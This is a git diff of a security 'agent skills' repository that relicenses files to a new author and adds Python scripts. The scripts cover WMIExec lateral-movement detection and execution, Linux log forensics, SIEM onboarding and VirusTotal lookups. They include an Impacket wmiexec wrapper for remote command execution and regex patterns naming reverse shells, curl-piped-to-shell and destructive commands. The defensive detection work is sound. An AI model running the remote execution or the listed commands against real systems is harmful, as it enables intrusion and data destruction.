-Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-lateral-movement-with-wmiexec/LICENSE b/skills/performing-lateral-movement-with-wmiexec/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-lateral-movement-with-wmiexec/LICENSE +++ b/skills/performing-lateral-movement-with-wmiexec/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-lateral-movement-with-wmiexec/references/api-reference.md b/skills/performing-lateral-movement-with-wmiexec/references/api-reference.md new file mode 100644 index 00000000..2f4cfb13 --- /dev/null +++ b/skills/performing-lateral-movement-with-wmiexec/references/api-reference.md @@ -0,0 +1,42 @@ +# API Reference — Performing Lateral Movement with WMIExec + +## Libraries Used +- **python-evtx**: Parse Windows EVTX logs for WMI process creation artifacts +- **subprocess**: Execute Impacket wmiexec, tshark PCAP analysis, WMIC queries +- **xml.etree.ElementTree**: Parse Sysmon/Security event XML +- **impacket** (external): wmiexec.py for authorized lateral movement testing + +## CLI Interface +``` +python agent.py detect --evtx security.evtx +python agent.py exec --target 10.0.0.5 --domain CORP --user admin [--cmd whoami] +python agent.py network --pcap capture.pcap +python agent.py persistence +``` + +## Core Functions + +### `detect_wmiexec_artifacts_evtx(evtx_file)` — Detect WMIExec in event logs +Searches for: Sysmon EID 1 with wmiprvse.exe parent, EID 4624 type 3 logons, EID 7045 service installs. + +### `run_wmiexec_impacket(target, domain, username, command)` — Execute remote command +Uses Impacket wmiexec for authorized penetration testing. + +### `detect_wmi_network_traffic(pcap_file)` — PCAP analysis for WMI +Uses tshark to filter DCOM UUID 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 and port 135. + +### `check_wmi_persistence()` — Local WMI subscription audit +Queries __EventFilter, CommandLineEventConsumer, __FilterToConsumerBinding. + +## Detection Indicators +| Artifact | Event ID | Indicator | +|----------|----------|-----------| +| Process from WMI | Sysmon 1 | ParentImage = wmiprvse.exe | +| Network logon | Security 4624 | LogonType = 3 | +| Service install | System 7045 | BTOBTO/wmi patterns | + +## Dependencies +``` +pip install python-evtx impacket +``` +System: tshark (optional, for PCAP analysis) diff --git a/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py b/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py new file mode 100644 index 00000000..ef21f33e --- /dev/null +++ b/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""Agent for performing lateral movement detection and simulation with WMIExec — authorized testing only.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime +from pathlib import Path + + +def detect_wmiexec_artifacts_evtx(evtx_file): + """Detect WMIExec lateral movement artifacts in Windows Event Logs.""" + try: + import Evtx.Evtx as evtx + import xml.etree.ElementTree as ET + except ImportError: + return {"error": "python-evtx not installed — pip install python-evtx"} + ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"} + indicators = { + "wmi_process_creation": [], + "network_logon": [], + "service_install": [], + } + with evtx.Evtx(evtx_file) as log: + for record in log.records(): + try: + xml = record.xml() + root = ET.fromstring(xml) + eid_elem = root.find(".//e:EventID", ns) + if eid_elem is None: + continue + eid = eid_elem.text + data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)} + if eid == "1": + parent = data.get("ParentImage", "").lower() + cmdline = data.get("CommandLine", "") + if "wmiprvse.exe" in parent: + indicators["wmi_process_creation"].append({ + "image": data.get("Image"), "cmdline": cmdline[:200], + "user": data.get("User"), "parent": data.get("ParentImage"), + }) + elif eid == "4624": + logon_type = data.get("LogonType", "") + if logon_type == "3": + indicators["network_logon"].append({ + "user": data.get("TargetUserName"), + "source_ip": data.get("IpAddress"), + "workstation": data.get("WorkstationName"), + }) + elif eid == "7045": + svc_name = data.get("ServiceName", "") + if re.search(r"(BTOBTO|wmiprvse|wmi_|cmd\.exe)", svc_name, re.I): + indicators["service_install"].append({ + "service": svc_name, + "path": data.get("ImagePath", "")[:200], + }) + except Exception: + continue + total = sum(len(v) for v in indicators.values()) + return { + "evtx_file": evtx_file, "total_indicators": total, + "wmi_process_creations": len(indicators["wmi_process_creation"]), + "network_logons": len(indicators["network_logon"]), + "service_installs": len(indicators["service_install"]), + "indicators": {k: v[:15] for k, v in indicators.items()}, + "finding": "WMIEXEC_DETECTED" if total > 0 else "NO_INDICATORS", + } + + +def run_wmiexec_impacket(target, domain, username, command="whoami"): + """Execute command via Impacket wmiexec (authorized pentest use).""" + cmd = ["python3", "-m", "impacket.examples.wmiexec", + f"{domain}/{username}@{target}", command] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return { + "target": target, "domain": domain, "user": username, + "command": command, "output": result.stdout[:500], + "success": result.returncode == 0, + "stderr": result.stderr[:200] if result.stderr else "", + } + except FileNotFoundError: + return {"error": "Impacket not installed — pip install impacket"} + except Exception as e: + return {"error": str(e)} + + +def detect_wmi_network_traffic(pcap_file): + """Analyze PCAP for WMI lateral movement network indicators.""" + cmd = ["tshark", "-r", pcap_file, "-Y", + "dcerpc.cn_bind_uuid == 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 || tcp.port == 135 || dcom", + "-T", "fields", "-e", "ip.src", "-e", "ip.dst", "-e", "tcp.dstport", + "-e", "dcerpc.cn_bind_uuid", "-e", "frame.time"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + connections = [] + for line in result.stdout.strip().splitlines(): + parts = line.split("\t") + if len(parts) >= 3: + connections.append({"src": parts[0], "dst": parts[1], "port": parts[2], + "uuid": parts[3] if len(parts) > 3 else "", "time": parts[4] if len(parts) > 4 else ""}) + dcom_uuid = "4d9f4ab8-7d1c-11cf-861e-0020af6e7c57" + wmi_traffic = [c for c in connections if c.get("uuid") == dcom_uuid or c.get("port") == "135"] + return { + "pcap_file": pcap_file, "total_connections": len(connections), + "wmi_related": len(wmi_traffic), "connections": wmi_traffic[:20], + } + except FileNotFoundError: + return {"error": "tshark not found — install Wireshark"} + except Exception as e: + return {"error": str(e)} + + +def check_wmi_persistence(): + """Check for WMI-based persistence mechanisms on local system.""" + checks = { + "event_subscriptions": ["wmic", "/namespace:\\\\root\\subscription", "path", "__EventFilter", "get", "/format:list"], + "consumers": ["wmic", "/namespace:\\\\root\\subscription", "path", "CommandLineEventConsumer", "get", "/format:list"], + "bindings": ["wmic", "/namespace:\\\\root\\subscription", "path", "__FilterToConsumerBinding", "get", "/format:list"], + } + results = {} + for name, cmd in checks.items(): + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + entries = [line.strip() for line in result.stdout.splitlines() if "=" in line] + results[name] = {"count": len(entries), "entries": entries[:10]} + except Exception as e: + results[name] = {"error": str(e)} + total = sum(r.get("count", 0) for r in results.values() if isinstance(r.get("count"), int)) + return {"wmi_persistence": results, "total_subscriptions": total, + "finding": "WMI_PERSISTENCE_FOUND" if total > 0 else "NO_WMI_PERSISTENCE"} + + +def main(): + parser = argparse.ArgumentParser(description="WMIExec Lateral Movement Agent (Authorized Testing Only)") + sub = parser.add_subparsers(dest="command") + d = sub.add_parser("detect", help="Detect WMIExec in EVTX logs") + d.add_argument("--evtx", required=True) + e = sub.add_parser("exec", help="Execute via wmiexec (pentest)") + e.add_argument("--target", required=True) + e.add_argument("--domain", required=True) + e.add_argument("--user", required=True) + e.add_argument("--cmd", default="whoami") + n = sub.add_parser("network", help="Analyze PCAP for WMI traffic") + n.add_argument("--pcap", required=True) + sub.add_parser("persistence", help="Check WMI persistence") + args = parser.parse_args() + if args.command == "detect": + result = detect_wmiexec_artifacts_evtx(args.evtx) + elif args.command == "exec": + result = run_wmiexec_impacket(args.target, args.domain, args.user, args.cmd) + elif args.command == "network": + result = detect_wmi_network_traffic(args.pcap) + elif args.command == "persistence": + result = check_wmi_persistence() + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-linux-log-forensics-investigation/LICENSE b/skills/performing-linux-log-forensics-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-linux-log-forensics-investigation/LICENSE +++ b/skills/performing-linux-log-forensics-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-linux-log-forensics-investigation/references/api-reference.md b/skills/performing-linux-log-forensics-investigation/references/api-reference.md new file mode 100644 index 00000000..76af33d3 --- /dev/null +++ b/skills/performing-linux-log-forensics-investigation/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference — Performing Linux Log Forensics Investigation + +## Libraries Used +- **re**: Pattern matching for log entries (IPs, users, timestamps, suspicious commands) +- **gzip**: Read compressed log files (.gz) +- **pathlib**: File system operations +- **collections.Counter**: Aggregate brute force IPs, command tags + +## CLI Interface +``` +python agent.py auth --file /var/log/auth.log +python agent.py syslog --file /var/log/syslog +python agent.py history --file /home/user/.bash_history +python agent.py timeline --files /var/log/auth.log /var/log/syslog /var/log/kern.log +``` + +## Core Functions + +### `analyze_auth_log(log_file)` — Authentication log analysis +Detects: failed logins, successful logins, sudo commands, SSH events. +Identifies brute force suspects (>=5 failed attempts from same IP). + +### `analyze_syslog(log_file)` — System log anomaly detection +Flags: errors/critical messages, kernel anomalies (segfault, OOM, panic), cron jobs. + +### `analyze_command_history(history_file)` — Suspicious command detection +12 patterns: remote code execution (curl|sh), reverse shells, base64 decode, +crontab modification, firewall flush, history clearing, destructive commands. + +### `timeline_analysis(log_files)` — Multi-source timeline reconstruction +Merges events from multiple log files sorted by timestamp. +Supports syslog format (Mon DD HH:MM:SS) and ISO 8601. + +## Suspicious Command Tags +| Tag | Pattern | +|-----|---------| +| REMOTE_CODE_EXECUTION | curl/wget piped to sh/bash | +| BASH_REVERSE_SHELL | /dev/tcp/ usage | +| NETCAT_LISTENER | nc -e/-l/-p | +| HISTORY_CLEAR | history -c | +| DESTRUCTIVE_COMMAND | rm -rf / | + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-linux-log-forensics-investigation/scripts/agent.py b/skills/performing-linux-log-forensics-investigation/scripts/agent.py new file mode 100644 index 00000000..56afece2 --- /dev/null +++ b/skills/performing-linux-log-forensics-investigation/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Agent for performing Linux log forensics investigation.""" + +import json +import argparse +import re +import gzip +from datetime import datetime +from pathlib import Path +from collections import Counter + + +def analyze_auth_log(log_file): + """Analyze /var/log/auth.log for suspicious authentication events.""" + content = _read_log(log_file) + failed_logins = [] + successful_logins = [] + sudo_events = [] + ssh_events = [] + for line in content.splitlines(): + if "Failed password" in line or "authentication failure" in line: + ip_match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line) + user_match = re.search(r"for (?:invalid user )?(\S+)", line) + failed_logins.append({ + "user": user_match.group(1) if user_match else "", + "source_ip": ip_match.group(1) if ip_match else "", + "line": line.strip()[:200], + }) + elif "Accepted" in line: + ip_match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line) + user_match = re.search(r"for (\S+)", line) + successful_logins.append({ + "user": user_match.group(1) if user_match else "", + "source_ip": ip_match.group(1) if ip_match else "", + }) + elif "sudo:" in line and "COMMAND=" in line: + cmd_match = re.search(r"COMMAND=(.*)", line) + user_match = re.search(r"sudo:\s+(\S+)", line) + sudo_events.append({ + "user": user_match.group(1) if user_match else "", + "command": cmd_match.group(1)[:200] if cmd_match else "", + }) + elif "sshd" in line: + ssh_events.append(line.strip()[:200]) + brute_force_ips = Counter(f.get("source_ip") for f in failed_logins if f.get("source_ip")) + bf_suspects = [{"ip": ip, "attempts": count} for ip, count in brute_force_ips.most_common(10) if count >= 5] + return { + "log_file": log_file, + "failed_logins": len(failed_logins), + "successful_logins": len(successful_logins), + "sudo_commands": len(sudo_events), + "brute_force_suspects": bf_suspects, + "failed_users": dict(Counter(f.get("user") for f in failed_logins).most_common(10)), + "sudo_events": sudo_events[:20], + "successful_logins_detail": successful_logins[:20], + } + + +def analyze_syslog(log_file): + """Analyze /var/log/syslog for anomalies.""" + content = _read_log(log_file) + errors = [] + kernel_events = [] + cron_events = [] + for line in content.splitlines(): + lower = line.lower() + if "error" in lower or "fail" in lower or "critical" in lower: + errors.append(line.strip()[:200]) + if "kernel:" in lower: + if any(kw in lower for kw in ["segfault", "oom", "killed", "panic", "bug", "usb"]): + kernel_events.append(line.strip()[:200]) + if "cron" in lower: + cron_events.append(line.strip()[:200]) + return { + "log_file": log_file, + "total_errors": len(errors), + "kernel_anomalies": len(kernel_events), + "cron_jobs": len(cron_events), + "top_errors": errors[:20], + "kernel_events": kernel_events[:15], + "cron_events": cron_events[:15], + } + + +def analyze_command_history(history_file): + """Analyze bash history for suspicious commands.""" + content = Path(history_file).read_text(encoding="utf-8", errors="replace") + suspicious_patterns = [ + (r"curl.*\|.*sh", "REMOTE_CODE_EXECUTION"), + (r"wget.*\|.*bash", "REMOTE_CODE_EXECUTION"), + (r"chmod\s+[47]77", "WORLD_WRITABLE_PERMISSION"), + (r"nc\s+-[elp]", "NETCAT_LISTENER"), + (r"/dev/tcp/", "BASH_REVERSE_SHELL"), + (r"base64\s+-d", "BASE64_DECODE"), + (r"python.*-c.*import.*socket", "PYTHON_REVERSE_SHELL"), + (r"crontab\s+-[er]", "CRONTAB_MODIFICATION"), + (r"iptables\s+-F", "FIREWALL_FLUSH"), + (r"history\s+-c", "HISTORY_CLEAR"), + (r"rm\s+-rf\s+/", "DESTRUCTIVE_COMMAND"), + (r"dd\s+if=.*of=/dev/", "DISK_OVERWRITE"), + ] + findings = [] + for line in content.splitlines(): + cmd = line.strip() + for pattern, tag in suspicious_patterns: + if re.search(pattern, cmd, re.I): + findings.append({"command": cmd[:200], "tag": tag, "pattern": pattern}) + break + return { + "history_file": history_file, + "total_commands": len(content.splitlines()), + "suspicious_commands": len(findings), + "findings": findings[:30], + "tags": dict(Counter(f["tag"] for f in findings)), + } + + +def timeline_analysis(log_files, start_time=None, end_time=None): + """Create timeline from multiple log sources.""" + events = [] + ts_patterns = [ + re.compile(r"(\w{3}\s+\d+\s+\d+:\d+:\d+)"), + re.compile(r"(\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2})"), + ] + for log_file in log_files: + content = _read_log(log_file) + for line in content.splitlines(): + ts = None + for tp in ts_patterns: + m = tp.search(line) + if m: + ts = m.group(1) + break + if ts: + events.append({"timestamp": ts, "source": Path(log_file).name, "event": line.strip()[:200]}) + events.sort(key=lambda x: x["timestamp"]) + return { + "sources": log_files, + "total_events": len(events), + "timeline": events[:100], + } + + +def _read_log(filepath): + """Read log file, supporting gzip.""" + p = Path(filepath) + if p.suffix == ".gz": + with gzip.open(filepath, "rt", encoding="utf-8", errors="replace") as f: + return f.read() + return p.read_text(encoding="utf-8", errors="replace") + + +def main(): + parser = argparse.ArgumentParser(description="Linux Log Forensics Investigation Agent") + sub = parser.add_subparsers(dest="command") + a = sub.add_parser("auth", help="Analyze auth.log") + a.add_argument("--file", required=True) + s = sub.add_parser("syslog", help="Analyze syslog") + s.add_argument("--file", required=True) + h = sub.add_parser("history", help="Analyze bash history") + h.add_argument("--file", required=True) + t = sub.add_parser("timeline", help="Create event timeline") + t.add_argument("--files", nargs="+", required=True) + args = parser.parse_args() + if args.command == "auth": + result = analyze_auth_log(args.file) + elif args.command == "syslog": + result = analyze_syslog(args.file) + elif args.command == "history": + result = analyze_command_history(args.file) + elif args.command == "timeline": + result = timeline_analysis(args.files) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-log-analysis-for-forensic-investigation/LICENSE b/skills/performing-log-analysis-for-forensic-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-log-analysis-for-forensic-investigation/LICENSE +++ b/skills/performing-log-analysis-for-forensic-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-log-source-onboarding-in-siem/LICENSE b/skills/performing-log-source-onboarding-in-siem/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-log-source-onboarding-in-siem/LICENSE +++ b/skills/performing-log-source-onboarding-in-siem/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-log-source-onboarding-in-siem/references/api-reference.md b/skills/performing-log-source-onboarding-in-siem/references/api-reference.md new file mode 100644 index 00000000..81913408 --- /dev/null +++ b/skills/performing-log-source-onboarding-in-siem/references/api-reference.md @@ -0,0 +1,41 @@ +# API Reference — Performing Log Source Onboarding in SIEM + +## Libraries Used +- **socket**: Test syslog connectivity (UDP/TCP) to SIEM collectors +- **re**: Log format detection via pattern matching +- **pathlib**: Read log sample files + +## CLI Interface +``` +python agent.py detect --file sample.log +python agent.py validate --host siem.corp.com [--port 514] [--protocol udp|tcp] +python agent.py parse-config --format syslog_rfc3164 --source-type firewall_logs +python agent.py checklist --source "Palo Alto FW" --format syslog_rfc3164 --siem-host siem.corp.com +``` + +## Core Functions + +### `detect_log_format(sample_file)` — Auto-detect log format +Identifies: syslog RFC 3164/5424, CEF, LEEF, JSON, CSV, Windows Event, Apache combined. + +### `validate_syslog_connectivity(host, port, protocol)` — Test SIEM collector +Sends test syslog message via UDP or TCP. Validates port reachability. + +### `generate_parsing_config(log_format, source_type)` — Create parsing rules +Generates Splunk (props.conf/transforms.conf) and Elastic (Filebeat/Logstash) configs. + +### `create_onboarding_checklist(...)` — 10-step onboarding workflow +Covers: sample collection, format validation, connectivity, parsing, correlation rules, documentation. + +## Supported Log Formats +| Format | Pattern Indicator | +|--------|------------------| +| syslog_rfc3164 | `Mon DD HH:MM:SS` | +| syslog_rfc5424 | `VER YYYY-MM-DDT` | +| CEF | `CEF:0\|` | +| LEEF | `LEEF:1.0\|` | +| JSON | `{...}` | +| Apache combined | IP - - [timestamp] "METHOD" | + +## Dependencies +No external packages — Python standard library only. diff --git a/skills/performing-log-source-onboarding-in-siem/scripts/agent.py b/skills/performing-log-source-onboarding-in-siem/scripts/agent.py new file mode 100644 index 00000000..495a014a --- /dev/null +++ b/skills/performing-log-source-onboarding-in-siem/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Agent for performing log source onboarding in SIEM platforms.""" + +import json +import argparse +import socket +import re +from datetime import datetime +from pathlib import Path + + +SYSLOG_FACILITIES = {0: "kern", 1: "user", 2: "mail", 3: "daemon", 4: "auth", 5: "syslog", + 6: "lpr", 7: "news", 10: "authpriv", 13: "audit", 16: "local0", + 17: "local1", 18: "local2", 19: "local3", 20: "local4", + 21: "local5", 22: "local6", 23: "local7"} + +LOG_FORMAT_PATTERNS = { + "syslog_rfc3164": re.compile(r"^<\d+>\w{3}\s+\d+\s+\d+:\d+:\d+"), + "syslog_rfc5424": re.compile(r"^<\d+>\d+\s+\d{4}-\d{2}-\d{2}T"), + "cef": re.compile(r"^CEF:\d+\|"), + "leef": re.compile(r"^LEEF:\d+\.\d+\|"), + "json": re.compile(r"^\s*\{"), + "csv": re.compile(r"^[^,]+,[^,]+,[^,]+"), + "windows_event": re.compile(r"EventID|EventRecordID"), + "apache_combined": re.compile(r'^\S+ \S+ \S+ \[.+\] "\w+ .+ HTTP/'), +} + + +def detect_log_format(sample_file): + """Detect log format from a sample file.""" + content = Path(sample_file).read_text(encoding="utf-8", errors="replace") + lines = [l for l in content.splitlines() if l.strip()][:50] + format_votes = {} + for line in lines: + for fmt, pattern in LOG_FORMAT_PATTERNS.items(): + if pattern.search(line): + format_votes[fmt] = format_votes.get(fmt, 0) + 1 + if not format_votes: + return {"format": "unknown", "sample_lines": lines[:5]} + detected = max(format_votes, key=format_votes.get) + return { + "sample_file": sample_file, + "detected_format": detected, + "confidence": round(format_votes[detected] / len(lines) * 100, 1), + "format_votes": format_votes, + "total_lines": len(lines), + "sample_lines": lines[:5], + } + + +def validate_syslog_connectivity(host, port=514, protocol="udp"): + """Test syslog connectivity to SIEM collector.""" + results = {"host": host, "port": port, "protocol": protocol} + try: + if protocol == "udp": + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(5) + test_msg = f"<14>1 {datetime.utcnow().isoformat()} test-agent siem-onboard - - - Test syslog connectivity" + sock.sendto(test_msg.encode(), (host, port)) + results["status"] = "SENT" + results["message"] = "UDP message sent (delivery not guaranteed)" + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((host, port)) + test_msg = f"<14>1 {datetime.utcnow().isoformat()} test-agent siem-onboard - - - Test syslog connectivity\n" + sock.send(test_msg.encode()) + results["status"] = "CONNECTED" + results["message"] = "TCP connection established and test message sent" + sock.close() + except Exception as e: + results["status"] = "FAILED" + results["error"] = str(e) + return results + + +def generate_parsing_config(log_format, source_type, fields=None): + """Generate SIEM parsing configuration for common log formats.""" + configs = { + "syslog_rfc3164": { + "splunk": { + "props_conf": f"[{source_type}]\nTIME_FORMAT = %b %d %H:%M:%S\nTIME_PREFIX = ^<\\d+>\nSHOULD_LINEMERGE = false\nLINE_BREAKER = ([\\r\\n]+)", + "transforms_conf": f"[{source_type}_extract]\nREGEX = ^<(\\d+)>(\\w{{3}}\\s+\\d+\\s+\\d+:\\d+:\\d+)\\s+(\\S+)\\s+(\\S+?)(?:\\[(\\d+)\\])?:\\s+(.*)\nFORMAT = priority::$1 timestamp::$2 host::$3 program::$4 pid::$5 message::$6", + }, + "elastic": { + "filebeat_module": {"module": "system", "syslog": {"enabled": True, "var.paths": ["/var/log/syslog"]}}, + }, + }, + "json": { + "splunk": { + "props_conf": f"[{source_type}]\nKV_MODE = json\nSHOULD_LINEMERGE = false\nTIME_FORMAT = %Y-%m-%dT%H:%M:%S", + }, + "elastic": { + "filebeat_input": {"type": "filestream", "parsers": [{"ndjson": {"keys_under_root": True, "add_error_key": True}}]}, + }, + }, + "cef": { + "splunk": { + "props_conf": f"[{source_type}]\nSHOULD_LINEMERGE = false\nTIME_FORMAT = %b %d %Y %H:%M:%S\nTRANSFORMS-cef = cef_header,cef_extension", + }, + "elastic": { + "logstash_filter": 'filter { if [type] == "cef" { grok { match => { "message" => "CEF:%{INT:cef_version}\\|%{DATA:vendor}\\|%{DATA:product}\\|%{DATA:version}\\|%{DATA:signature}\\|%{DATA:name}\\|%{INT:severity}\\|%{GREEDYDATA:extension}" } } } }', + }, + }, + } + config = configs.get(log_format, {}) + return { + "log_format": log_format, + "source_type": source_type, + "configurations": config if config else {"note": f"No template for format: {log_format}"}, + } + + +def create_onboarding_checklist(source_name, log_format, siem_host, siem_port=514): + """Generate a log source onboarding checklist.""" + return { + "source_name": source_name, + "log_format": log_format, + "timestamp": datetime.utcnow().isoformat(), + "checklist": [ + {"step": 1, "task": "Collect log samples (minimum 100 lines)", "status": "pending"}, + {"step": 2, "task": f"Validate format: {log_format}", "status": "pending"}, + {"step": 3, "task": f"Test connectivity to {siem_host}:{siem_port}", "status": "pending"}, + {"step": 4, "task": "Create source type / index configuration", "status": "pending"}, + {"step": 5, "task": "Configure field extraction / parsing rules", "status": "pending"}, + {"step": 6, "task": "Verify timestamp parsing and timezone", "status": "pending"}, + {"step": 7, "task": "Validate event flow (check event count)", "status": "pending"}, + {"step": 8, "task": "Create correlation rules / alerts", "status": "pending"}, + {"step": 9, "task": "Document source in CMDB", "status": "pending"}, + {"step": 10, "task": "Monitor for 48h and verify parsing accuracy", "status": "pending"}, + ], + } + + +def main(): + parser = argparse.ArgumentParser(description="SIEM Log Source Onboarding Agent") + sub = parser.add_subparsers(dest="command") + d = sub.add_parser("detect", help="Detect log format") + d.add_argument("--file", required=True) + v = sub.add_parser("validate", help="Test syslog connectivity") + v.add_argument("--host", required=True) + v.add_argument("--port", type=int, default=514) + v.add_argument("--protocol", default="udp", choices=["udp", "tcp"]) + p = sub.add_parser("parse-config", help="Generate parsing config") + p.add_argument("--format", required=True, choices=list(LOG_FORMAT_PATTERNS.keys())) + p.add_argument("--source-type", required=True) + c = sub.add_parser("checklist", help="Generate onboarding checklist") + c.add_argument("--source", required=True) + c.add_argument("--format", required=True) + c.add_argument("--siem-host", required=True) + c.add_argument("--siem-port", type=int, default=514) + args = parser.parse_args() + if args.command == "detect": + result = detect_log_format(args.file) + elif args.command == "validate": + result = validate_syslog_connectivity(args.host, args.port, args.protocol) + elif args.command == "parse-config": + result = generate_parsing_config(args.format, args.source_type) + elif args.command == "checklist": + result = create_onboarding_checklist(args.source, args.format, args.siem_host, args.siem_port) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE b/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE +++ b/skills/performing-malware-hash-enrichment-with-virustotal/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md b/skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md new file mode 100644 index 00000000..985f46dc --- /dev/null +++ b/skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md @@ -0,0 +1,32 @@ +# API Reference — Performing Malware Hash Enrichment with VirusTotal + +## Libraries Used +- **requests**: HTTP client for VirusTotal API v3 +- **hashlib**: Local file hash calculation (MD5, SHA1, SHA256) + +## CLI Interface + +``` +python agent.py --api-key lookup --hash +python agent.py --api-key bulk --hashes

[--rate-limit 4] +python agent.py --api-key behavior --hash +python agent.py hash-file --file +``` + +## VirusTotalClient API Calls + +### `get_file_report(file_hash)` +**Endpoint:** `GET /api/v3/files/{hash}` +Returns: detection ratio, file type, tags, threat classification. + +### `get_file_behavior(file_hash)` +**Endpoint:** `GET /api/v3/files/{hash}/behaviours` +Returns: sandbox results (processes, files, registry, DNS, HTTP). + +## Rate Limiting +Free tier: 4 requests/minute. Agent auto-sleeps after each batch of 4. + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-malware-hash-enrichment-with-virustotal/scripts/agent.py b/skills/performing-malware-hash-enrichment-with-virustotal/scripts/agent.py new file mode 100644 index 00000000..bfd4fa99 --- /dev/null +++ b/skills/performing-malware-hash-enrichment-with-virustotal/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""Agent for performing malware hash enrichment using VirusTotal API v3.""" + +import json +import argparse +import hashlib +import time +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + +VT_API_URL = "https://www.virustotal.com/api/v3" + + +class VirusTotalClient: + def __init__(self, api_key): + self.session = requests.Session() + self.session.headers.update({"x-apikey": api_key, "Accept": "application/json"}) + + def get_file_report(self, file_hash): + """Get file analysis report by hash (MD5, SHA1, or SHA256).""" + resp = self.session.get(f"{VT_API_URL}/files/{file_hash}", timeout=30) + if resp.status_code == 404: + return {"hash": file_hash, "found": False} + resp.raise_for_status() + data = resp.json().get("data", {}) + attrs = data.get("attributes", {}) + stats = attrs.get("last_analysis_stats", {}) + return { + "hash": file_hash, + "found": True, + "sha256": attrs.get("sha256"), + "md5": attrs.get("md5"), + "sha1": attrs.get("sha1"), + "file_type": attrs.get("type_description"), + "size": attrs.get("size"), + "meaningful_name": attrs.get("meaningful_name"), + "detection_ratio": f"{stats.get('malicious', 0)}/{sum(stats.values())}", + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "undetected": stats.get("undetected", 0), + "first_seen": attrs.get("first_submission_date"), + "last_analysis_date": attrs.get("last_analysis_date"), + "tags": attrs.get("tags", []), + "popular_threat_classification": attrs.get("popular_threat_classification", {}), + } + + def get_file_behavior(self, file_hash): + """Get sandbox behavior report for a file.""" + resp = self.session.get(f"{VT_API_URL}/files/{file_hash}/behaviours", timeout=30) + resp.raise_for_status() + data = resp.json().get("data", []) + behaviors = [] + for b in data[:5]: + attrs = b.get("attributes", {}) + behaviors.append({ + "sandbox": attrs.get("sandbox_name"), + "processes_created": attrs.get("processes_created", [])[:10], + "files_written": attrs.get("files_written", [])[:10], + "registry_keys_set": attrs.get("registry_keys_set", [])[:10], + "dns_lookups": attrs.get("dns_lookups", [])[:10], + "http_conversations": attrs.get("http_conversations", [])[:10], + }) + return {"hash": file_hash, "behaviors": behaviors} + + +def enrich_hash_list(api_key, hashes, rate_limit=4): + """Enrich a list of hashes with VirusTotal reports (respects rate limit).""" + client = VirusTotalClient(api_key) + results = [] + for i, h in enumerate(hashes): + h = h.strip() + if not h: + continue + try: + report = client.get_file_report(h) + results.append(report) + except Exception as e: + results.append({"hash": h, "error": str(e)}) + if (i + 1) % rate_limit == 0: + time.sleep(60) # VT free tier: 4 requests/minute + malicious = [r for r in results if r.get("malicious", 0) > 0] + return { + "timestamp": datetime.utcnow().isoformat(), + "total_hashes": len(results), + "found": sum(1 for r in results if 